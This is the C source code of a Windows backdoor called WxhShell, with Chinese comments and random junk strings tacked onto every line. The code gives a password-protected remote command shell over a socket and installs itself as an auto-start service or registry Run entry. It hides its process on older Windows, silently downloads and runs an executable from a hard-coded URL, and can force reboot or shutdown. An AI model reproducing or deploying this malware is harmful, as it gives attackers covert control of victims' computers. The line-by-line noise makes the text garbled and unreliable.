    else { N8^ AH8l  
    closesocket(wsh); >ps=z$4j*  
    ExitThread(0); Xn 1V1sr  
    } Q5H! ^RQm  
    break;  iFy_ D  
    } d}t7bgk'j  
  // 获取shell k*3F7']8  
  case 's': { 09SLQVo  
    CmdShell(wsh); ``Wf%~  
    closesocket(wsh); |8m;}&r$  
    ExitThread(0); %`[Oz[V  
    break; KK%R3{  
  } ;L458fYs  
  // 退出 T!*lTzNHm  
  case 'x': { 6RLYpQ$+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S3iXG @  
    CloseIt(wsh); ?(4E le  
    break; /RzL,~]  
    } ? 2#MU  
  // 离开 (93+b%^[  
  case 'q': { eZMDtB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V6C*d:  
    closesocket(wsh); =x/Ap1  
    WSACleanup(); O:Ixy?b;Z  
    exit(1); nM1F4G  
    break; `"/s,"c:D  
        } *+ql{\am4N  
  } ?B"k9+%5ej  
  } ""JTU6]MS  
R>iRnrn:-  
  // 提示信息 tJ NJ S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #~(VOcRI  
} ? %9-5"U[  
  } 69{BJ] q  
x"9e eB,  
  return; oK5"RW  
} ([r4N#lx  
8tR(i[L   
// shell模块句柄 T5g}z5~"  
int CmdShell(SOCKET sock) x9s 7:F  
{ =skw@c ^  
STARTUPINFO si; ur,!-t(~t  
ZeroMemory(&si,sizeof(si)); 2|KgRk|!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V kA$T8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [!ghI%VK  
PROCESS_INFORMATION ProcessInfo; LK}Ih@ f  
char cmdline[]="cmd"; &G)I|mv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?~vVSY  
  return 0; 0GtL6M@pP  
} ^}+qd1r  
ZPieL&uV`  
// 自身启动模式 zF9SZ#{a  
int StartFromService(void) 4' ym vR  
{ L"|~,SVF  
typedef struct l$PSID  
{ 7S_rN!E1i*  
  DWORD ExitStatus; QxSJLi7t  
  DWORD PebBaseAddress; F~`Yh6v  
  DWORD AffinityMask; #E?TE  
  DWORD BasePriority; e'FBV[e  
  ULONG UniqueProcessId; "B~c/%#PH  
  ULONG InheritedFromUniqueProcessId; '@$YX*[  
}   PROCESS_BASIC_INFORMATION; OR&'  
G,#]`W@qhK  
PROCNTQSIP NtQueryInformationProcess; <QlpIgr  
}9k/Y/.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4&}V3"lg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H]6i1j  
2qw-:  
  HANDLE             hProcess; Tq\S-K}4!  
  PROCESS_BASIC_INFORMATION pbi; vr,8i7*0  
[z2XK4\e1T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bjQp6!TsZ  
  if(NULL == hInst ) return 0; u?(@hUV.  
TY(B]Q_o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); raWs6b4Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RObo4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,cgFdOM.  
5r*5Co+  
  if (!NtQueryInformationProcess) return 0; eI+<^p_j2  
77FI&*q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _GoV\wGKl  
  if(!hProcess) return 0; LH=gNFgzt  
#DBg8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [Eeanl&x>  
ewo]-BQS  
  CloseHandle(hProcess); i++a^f  
$pV:)N4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YP^=b}  
if(hProcess==NULL) return 0; 2 L>;M  
n(i Uc1Y  
HMODULE hMod; 'jw?XtG  
char procName[255]; rBOxI  
unsigned long cbNeeded; #GDnV/0)  
g[oa'.*OB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~AVn$];{  
MI: rH  
  CloseHandle(hProcess); -/x= `S*  
m* Zq3j  
if(strstr(procName,"services")) return 1; // 以服务启动 n~1F[ *  
R cZg/{[{  
  return 0; // 注册表启动 #ujry. m  
} J`E,Xw>2  
`D44I;e^1;  
// 主模块 q*L>MV  
int StartWxhshell(LPSTR lpCmdLine) #%4XZ3j#j;  
{ "!V-@F$@N  
  SOCKET wsl; R`[jkJrc  
BOOL val=TRUE; B]KR*  
  int port=0; Frn<~  
  struct sockaddr_in door; -YDA,.Ic?  
0}'xoYv f  
  if(wscfg.ws_autoins) Install(); prHM}n{0  
s+tPHftp  
port=atoi(lpCmdLine); Wq5 }SM  
k? <.yr1  
if(port<=0) port=wscfg.ws_port; !lVOZ %  
'YKzs;y$  
  WSADATA data; )x!b{5'"7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xkqq$A4  
Uuxx^>"h\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VjI=5)+~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4YV 0v,z  
  door.sin_family = AF_INET; >>cb0fH5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ; _ziRy  
  door.sin_port = htons(port); Tvd}5~ 5?  
x0KW\<k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { </hv{<  
closesocket(wsl); IP LKOT~  
return 1; syJLcK+e  
} ?*)Q[P5  
e(=() :4is  
  if(listen(wsl,2) == INVALID_SOCKET) { D6$*#D3U  
closesocket(wsl); t@&U2JaL>W  
return 1; / 5!0wxN  
} %ER"Udh  
  Wxhshell(wsl); a2!U9->!  
  WSACleanup(); z4qc)- {L  
URd0|?t9^L  
return 0; H;h$k]T  
oe'f?IY  
} %,1xOl4l  
vGCvJ*4!  
// 以NT服务方式启动 kF;N}O2?{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J dM0f!3  
{ rAn:hR{  
DWORD   status = 0; +]3kcm7B  
  DWORD   specificError = 0xfffffff; *;&[q{hz  
'mELW)S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hk1[0)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O"M2*qiH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >\7M f@c  
  serviceStatus.dwWin32ExitCode     = 0; V&h{a8xa$  
  serviceStatus.dwServiceSpecificExitCode = 0; E/3i _R  
  serviceStatus.dwCheckPoint       = 0; _qxBjB4t"a  
  serviceStatus.dwWaitHint       = 0; S8j!?$`  
C09rgEB\B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {;L,|(o^  
  if (hServiceStatusHandle==0) return; Cqs+ o^q  
Ka_g3  
status = GetLastError(); ^Q\Hy\  
  if (status!=NO_ERROR) 57K\sT4[  
{ BXb=N E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fTOGW`s^  
    serviceStatus.dwCheckPoint       = 0; 7D KTd^^M  
    serviceStatus.dwWaitHint       = 0; 83adnm  
    serviceStatus.dwWin32ExitCode     = status; /fSsh;F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8\X-]Gh\^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Ij,OIcdBE  
    return; Op'&c0l  
  } :cxA  
eJ%b"H!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ${h1(ec8  
  serviceStatus.dwCheckPoint       = 0; M ZAz= )-  
  serviceStatus.dwWaitHint       = 0; S}b^_+UbP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hm\UqIt  
} kaT  !   
N>H#Ew@2U  
// 处理NT服务事件,比如:启动、停止 (KLhF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EzeU-!|W  
{  :I{9k~  
switch(fdwControl) U2Tw_  
{ ^OOoo2  
case SERVICE_CONTROL_STOP: 3&!v"ms  
  serviceStatus.dwWin32ExitCode = 0; Eq?U$eE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I/*^s  
  serviceStatus.dwCheckPoint   = 0; SHYbQF2  
  serviceStatus.dwWaitHint     = 0; LVNA`|>  
  { 2lCgUe)N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b/w5K2  
  } zIA)se Js  
  return; 3L CT-rp  
case SERVICE_CONTROL_PAUSE: *iN5/w{VG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &qzy?/i8  
  break; ``-pjD(t  
case SERVICE_CONTROL_CONTINUE: \ iA'^69  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jL7r1pu5  
  break; D#D55X^6*  
case SERVICE_CONTROL_INTERROGATE: #P1U] @  
  break; MtVvi6T  
}; /^L <q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =)s~t|@v  
} vqAEF^HYry  
;X N Ahg7  
// 标准应用程序主函数 rb*0YCi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wmA TV/  
{ jLA)Y [h  
8 (ot<3(D  
// 获取操作系统版本 e*y l_iW  
OsIsNt=GetOsVer(); FHSFH>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t2iQ[`/?~  
~"\WV4}`v  
  // 从命令行安装 #~m 8zG  
  if(strpbrk(lpCmdLine,"iI")) Install(); |)C #  
e"%uOuIYX  
  // 下载执行文件 oj[~H}>  
if(wscfg.ws_downexe) { kL F~^/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lbX YWZ~7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1% C EUE  
} 1cc~UQ  
id9XwWV  
if(!OsIsNt) { >,QCKZH  
// 如果时win9x,隐藏进程并且设置为注册表启动 }H<Z`3_U%  
HideProc(); '1rGsfp6In  
StartWxhshell(lpCmdLine); E4'z  
} (< >Lfn  
else jz~#K;3=,  
  if(StartFromService()) Zd'Yu{<_2N  
  // 以服务方式启动 /:^nG+  
  StartServiceCtrlDispatcher(DispatchTable); O+|ipw*B%  
else tLU@&NY`  
  // 普通方式启动 @^<&LG5^  
  StartWxhshell(lpCmdLine); '"+Gn52#  
%JH/|mA&|  
return 0; @u`W(Ow  
} OFBEJacy  
}.pqV X{ d  
PhPe7^  
%#o@c  
=========================================== <d"nz:e  
Fe %Vp/  
vcCNxIzEG  
B9Mp3[   
d >NO}MR  
d&AO 4^  
" ^<Gxip  
A|4om=MO  
#include <stdio.h> 3AglvGK7{  
#include <string.h> a~J!G:(  
#include <windows.h> 5}Id[%.x  
#include <winsock2.h> 8#HnV%|N  
#include <winsvc.h> jo0XF]  
#include <urlmon.h> LEOri=?RF  
T*gG <8  
#pragma comment (lib, "Ws2_32.lib") %t$KVV  
#pragma comment (lib, "urlmon.lib") 71>,tq  
tSux5 yV  
#define MAX_USER   100 // 最大客户端连接数 ]l C2YD}  
#define BUF_SOCK   200 // sock buffer V']Z_$_  
#define KEY_BUFF   255 // 输入 buffer 'sXrtl7{^  
YXZP-=fB>i  
#define REBOOT     0   // 重启 g4Q' Fub+I  
#define SHUTDOWN   1   // 关机 P(FlU]q  
5|~nX8>  
#define DEF_PORT   5000 // 监听端口 6K )K%a,9  
B=;kC#Emtf  
#define REG_LEN     16   // 注册表键长度 H2H[DVKv  
#define SVC_LEN     80   // NT服务名长度 XI |k,Ko<  
Rnoz[1y?0  
// 从dll定义API c~~4eia)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0e+#{k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wz #Cyjo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ';Q8x?BS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iqdU?&.;  
hJ]Oa7r  
// wxhshell配置信息 9l "=]7~%  
struct WSCFG { JV@G9PT  
  int ws_port;         // 监听端口 3!\h'5{  
  char ws_passstr[REG_LEN]; // 口令 |OAM;@jH  
  int ws_autoins;       // 安装标记, 1=yes 0=no qjhk#\y  
  char ws_regname[REG_LEN]; // 注册表键名 Woj5 yr  
  char ws_svcname[REG_LEN]; // 服务名 & !ds#-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 SD:D8"8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b9#(I~}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kW2DKr-[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RD"-(T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }:{9!RMO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j{r@>g;3  
?>U=bA  
}; +p63J  
9Bw#VQ  
// default Wxhshell configuration }eW<P079  
struct WSCFG wscfg={DEF_PORT, mv#hy  
    "xuhuanlingzhe", Z1I.f"XY  
    1, 'tw ]jMD  
    "Wxhshell", wggB^ }~  
    "Wxhshell", 6pSTw\/6  
            "WxhShell Service", 49M1^nMvoo  
    "Wrsky Windows CmdShell Service", nIr`T^c9c  
    "Please Input Your Password: ", j`"!G*Vh  
  1, ,mHUo4h1O  
  "http://www.wrsky.com/wxhshell.exe", 8C8S) ;  
  "Wxhshell.exe" .{c7 I!8  
    }; =]-z?O6^`  
ye=4<b_  
// 消息定义模块 A-:k4] {%P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KpYezdPF)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @XolFOL"f"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `_1~[t  
char *msg_ws_ext="\n\rExit."; CEI"p2  
char *msg_ws_end="\n\rQuit."; * 30K}&T  
char *msg_ws_boot="\n\rReboot..."; (E)hEQ@8  
char *msg_ws_poff="\n\rShutdown..."; RqGX(Iuv  
char *msg_ws_down="\n\rSave to "; aVHIU3  
^~-YS-.J#,  
char *msg_ws_err="\n\rErr!"; _~;%zFX  
char *msg_ws_ok="\n\rOK!"; vm[*+&\2  
7@>/O)>(AS  
char ExeFile[MAX_PATH]; ]b; m~|9  
int nUser = 0; G 3,v'D5  
HANDLE handles[MAX_USER]; #"KC29!Yj  
int OsIsNt; !hZ: \&V  
\Z3K ~  
SERVICE_STATUS       serviceStatus; d8vf kV B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eK l; T  
hXth\e\[{`  
// 函数声明 jzJTV4&zjs  
int Install(void); m N}szW,  
int Uninstall(void); {eI'0==  
int DownloadFile(char *sURL, SOCKET wsh); t4#gW$+^?H  
int Boot(int flag); r!dWI  
void HideProc(void); .!KsF h,pK  
int GetOsVer(void); KzO"$+M  
int Wxhshell(SOCKET wsl); YwET.(oo  
void TalkWithClient(void *cs); H}5WglV.  
int CmdShell(SOCKET sock); vE'{?C=EM  
int StartFromService(void); M Zz21H  
int StartWxhshell(LPSTR lpCmdLine); YIg43Av  
z8ZQL.z%h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PBb&.<   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f0 sGE5  
"E\mj'k  
// 数据结构和表定义 .gDq+~r8O  
SERVICE_TABLE_ENTRY DispatchTable[] = $Q8 &TM}E  
{ 5[SwF& zZ  
{wscfg.ws_svcname, NTServiceMain}, S Dil\x  
{NULL, NULL} ebI2gEu;a  
}; 8!Wh`n<  
').) 0;  
// 自我安装 Rv9jLH  
int Install(void) 9D1WUUa  
{ E3O^Tg?j  
  char svExeFile[MAX_PATH]; }|=/v( D  
  HKEY key; ]5S`y{j1  
  strcpy(svExeFile,ExeFile); lJ-PW\P  
F!EiF&[\J  
// 如果是win9x系统,修改注册表设为自启动 QcQ%A%VIV  
if(!OsIsNt) { |A 'I!Jm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kJ FWk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /9G72AD!  
  RegCloseKey(key); Lcpe*C x-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9%T"W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i^%$ydg  
  RegCloseKey(key); (^ EuF]  
  return 0; N5=BjXS Ag  
    } 1Y'4 g3T  
  } nPXP9wmh4x  
} A,DBq9Z+4R  
else { D1xGUz2r  
v>} +->f  
// 如果是NT以上系统,安装为系统服务 b^d{$eoH?|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H"l4b4)N\  
if (schSCManager!=0)  rvd $4l^  
{ WqNXE)'  
  SC_HANDLE schService = CreateService %/ y=_G  
  ( #mu L-V  
  schSCManager, (~^fx\-S  
  wscfg.ws_svcname, 2uE<mjCt-r  
  wscfg.ws_svcdisp, f(m, !  
  SERVICE_ALL_ACCESS, 43AzNXWF8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "g"a-{8  
  SERVICE_AUTO_START, i)z|= |?  
  SERVICE_ERROR_NORMAL, Uv *A a7M  
  svExeFile, nFEJO&1+  
  NULL, Z*co\ pW  
  NULL, 11yXI[  
  NULL, 1W{N6+u  
  NULL, El<*)  
  NULL =9a2+v0  
  ); V+ ("kz*  
  if (schService!=0) !g]5y=  
  { TR0y4u[  
  CloseServiceHandle(schService); 8J(j}</>a  
  CloseServiceHandle(schSCManager); >5~#BrpwG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nL:&G'd  
  strcat(svExeFile,wscfg.ws_svcname); `]eJF|"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LOx+?4|y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f"5O'QHGQK  
  RegCloseKey(key); mgjJNzclL  
  return 0; b]4dmc*N+  
    } MJ)lZ!KZ  
  } #4'wF4DR@  
  CloseServiceHandle(schSCManager); pd'0|  
} K4!-%d$  
} a'i Q("  
0!|d .jZI  
return 1; %vJHr!x  
} 46A sD  
Sr aZxuPg>  
// 自我卸载 qLDj\%~(  
int Uninstall(void) elCYH9W^  
{ !'jq.RawP  
  HKEY key; ^U_T<x8{  
|NfFe*q0;8  
if(!OsIsNt) { ^Qs}2%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '9V/w[mI  
  RegDeleteValue(key,wscfg.ws_regname); Q4"\k. ?  
  RegCloseKey(key); b0$)G-E/Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FbE/x$;~O  
  RegDeleteValue(key,wscfg.ws_regname); u-TT;k'  
  RegCloseKey(key); JnBUW"  
  return 0; SN{+ Pk  
  } &$~fz":1!  
} C 5.3[  
} lhN@ ,q  
else { V*4Z.3/E5  
&F&`y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ht Fr(g\"$  
if (schSCManager!=0) uDDa >Ka#+  
{ Ap dXsL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R{#< NE  
  if (schService!=0) l$;"yVdks  
  { 9*)&hhBs,  
  if(DeleteService(schService)!=0) { dEoIVy_9R  
  CloseServiceHandle(schService); \Z]+j@9  
  CloseServiceHandle(schSCManager); X8|H5Y:  
  return 0; pr0X7 #_E5  
  } .{1$;K @  
  CloseServiceHandle(schService); H`JFXMa<  
  } b' o]Y  
  CloseServiceHandle(schSCManager); x o"GNFh!  
} DK4yAR,g  
} 1X?ro;  
.Mq#88o.*  
return 1; &K9;GZS?  
} _gT65G~z  
'$tCAS  
// 从指定url下载文件 jdxHWkQ   
int DownloadFile(char *sURL, SOCKET wsh) TrjyU  
{ =A"Abmx|  
  HRESULT hr; \H] |5fp*  
char seps[]= "/"; uAO!fE}CJ  
char *token; >f]/VaMH{  
char *file; KUI{Z I  
char myURL[MAX_PATH]; v ccH(T  
char myFILE[MAX_PATH]; t%=7v)IOE  
nh} Xu~#_  
strcpy(myURL,sURL); INg0[Lpc  
  token=strtok(myURL,seps); sU_K^=6*  
  while(token!=NULL) f@OH~4FG  
  { ;,4*uU'vq  
    file=token; }%< ?]  
  token=strtok(NULL,seps); D p'urf\*$  
  } uC'-: t#  
Ln& pe(c  
GetCurrentDirectory(MAX_PATH,myFILE); ;s B=f  
strcat(myFILE, "\\"); Th)  
strcat(myFILE, file); 5 D|#l*V  
  send(wsh,myFILE,strlen(myFILE),0); DSrU7#  
send(wsh,"...",3,0); Q dj(D\.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wNf:_^|}  
  if(hr==S_OK) UUt"8]@[  
return 0; yZleots1  
else dfDjOZSL  
return 1; mxv ?PP  
`0d 0T~  
} jl,gqMn"V  
/ ;`H )  
// 系统电源模块 E)v~kC}7.  
int Boot(int flag) noZbsI4  
{ K.Xy:l*z  
  HANDLE hToken; Y)rK'OY'  
  TOKEN_PRIVILEGES tkp; R3>q]  
}LUvh  
  if(OsIsNt) { F&M d+2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xIM,0xM2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3q]0gU&??  
    tkp.PrivilegeCount = 1; VE\L&d2S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m eF7[>!U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); */aY $aWv  
if(flag==REBOOT) { .n 9.y8C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V._-iw]v  
  return 0; 9 [eiN  
} $@AJg  
else { yzS]FwW7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *6s_7{;  
  return 0; {*_Ln  
} (}A$4?  
  } ,1]UOQ>AP  
  else { '}OdF*L  
if(flag==REBOOT) { X5)D[aE6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 529; _|  
  return 0; K; #FU  
} m<gdyY   
else { }+,Q&]>~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W|PAI [N  
  return 0; o@Ye_aM~?Y  
} /J`}o}  
} mv9D{_,pD  
1$*8F  
return 1; uYC^&siS<s  
} 9ihg[k  
gwj?.7N*k  
// win9x进程隐藏模块 8lF9LZ8  
void HideProc(void) }QE.|.fA1  
{ $Itmm/M  
"*lx9bvV_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WB jJ)vCA.  
  if ( hKernel != NULL ) Kzev] er  
  { }e7Rpgu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F/v.hP_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !r/i<~'Bx  
    FreeLibrary(hKernel); \mb4leg5  
  } 2[lP,;!  
8lk/*/} =<  
return; re/-Yu$'  
} }9OMXLbRv  
X@~/.H5  
// 获取操作系统版本 pSx5ume95"  
int GetOsVer(void) 6#=Iv X4  
{ "im5Fnu  
  OSVERSIONINFO winfo; |~9jO/&r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eaRa+ <#u  
  GetVersionEx(&winfo); HNZ$CaJh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XpAJP++  
  return 1; z_c-1iXCW  
  else $WYt`U;*lj  
  return 0; qnP4wRpr  
} MWwqon|  
p{E(RsA  
// 客户端句柄模块 U6JD^G=qR,  
int Wxhshell(SOCKET wsl) ?V`-z#y7  
{ 3W'fEh5  
  SOCKET wsh; U&3!=|j  
  struct sockaddr_in client; Y{dSQ|xz^  
  DWORD myID; C|y^{4 |R  
7w73,r/D8A  
  while(nUser<MAX_USER) 'iMzp]V;  
{ '6D"QDZB  
  int nSize=sizeof(client); L=(-BYS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MR "f)  
  if(wsh==INVALID_SOCKET) return 1; l0&Fm:))k  
k}LIMkEa4a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /K H85/s  
if(handles[nUser]==0) pj%]t  
  closesocket(wsh); q/?*|4I  
else Y%}&eN$r  
  nUser++; p5]W2i.,  
  } ;adZ*'6u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (j>`+F5f  
ET[5`z  
  return 0; 3]S*p ErY  
} :$I "n\  
0\i\G|5  
// 关闭 socket &>-'|(m+2  
void CloseIt(SOCKET wsh) u^Cl s!C  
{ tM LiG4 |7  
closesocket(wsh); j+!u=E  
nUser--; '@t,G,FJ  
ExitThread(0); w/NT 5  
} _;}$/  
kQI'kL8>  
// 客户端请求句柄 %@QxU-k_  
void TalkWithClient(void *cs) gV)/lDEM5  
{ Pll%O@K  
%)i&|AV"  
  SOCKET wsh=(SOCKET)cs; m03dL^(   
  char pwd[SVC_LEN]; Vg62HZ |  
  char cmd[KEY_BUFF]; zd_N' :6  
char chr[1]; E+y_te^+b  
int i,j; p;4FZ$  
|X{j^JP 5  
  while (nUser < MAX_USER) { "OwM' n8  
:U\* 4l  
if(wscfg.ws_passstr) { <xBL/e %  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +;+G+Tn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D*UxPm"pw  
  //ZeroMemory(pwd,KEY_BUFF); 2Ys=/mh  
      i=0; G;gsDn1t  
  while(i<SVC_LEN) { 9#[,{2pJr  
2-m@-  
  // 设置超时 f['I4 /o  
  fd_set FdRead; !@!603Gy  
  struct timeval TimeOut; h]@'M1D%  
  FD_ZERO(&FdRead); q?frt3o  
  FD_SET(wsh,&FdRead); HnPy";{  
  TimeOut.tv_sec=8; KyIUz9$  
  TimeOut.tv_usec=0; }^I36$\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U/FysN_N!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 54{E&QvL8o  
UR'v;V&Cb\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); koB'Zp/FaY  
  pwd=chr[0]; *v#V%_o  
  if(chr[0]==0xd || chr[0]==0xa) { RAa1^Qb  
  pwd=0; T T 3 6Y  
  break; <Hv/1:k}  
  } b\^DQZmth  
  i++; h[! @8  
    } tIn`L6b  
 Xcfd]29  
  // 如果是非法用户,关闭 socket v$ \<L|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m p_7$#{l  
} .Z]hS7t  
;u`8pF!_eE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !,$K;L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = 1veO0  
iB99.,o-&  
while(1) { (e_<~+E  
=~s+<9c]  
  ZeroMemory(cmd,KEY_BUFF); _an 0G?7  
C}9GrIi  
      // 自动支持客户端 telnet标准   Z|KDi `S  
  j=0; f0@*>  
  while(j<KEY_BUFF) { #6~KO7}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,g'>Ib%  
  cmd[j]=chr[0]; xi"ff .  
  if(chr[0]==0xa || chr[0]==0xd) { =XYc2. t  
  cmd[j]=0; @?s>oSyV  
  break; }72\Aw5  
  } lpPPI+|4N  
  j++; '<,Dz=  
    } V~jp  
, XscO7  
  // 下载文件 dU_;2d$  
  if(strstr(cmd,"http://")) { FD!8o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6yYjZ<  
  if(DownloadFile(cmd,wsh)) "Plo[E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?!m\|'s-  
  else ]Ndy12,M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~r75] "  
  } h#Rza-?"\  
  else { nN.Gn+Cl  
l(x0d  
    switch(cmd[0]) { Zs|Ga,T  
  g/l:q&Q<  
  // 帮助 XXm7rn  
  case '?': { x?A<X2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *Dq ++  
    break; |) cJ  
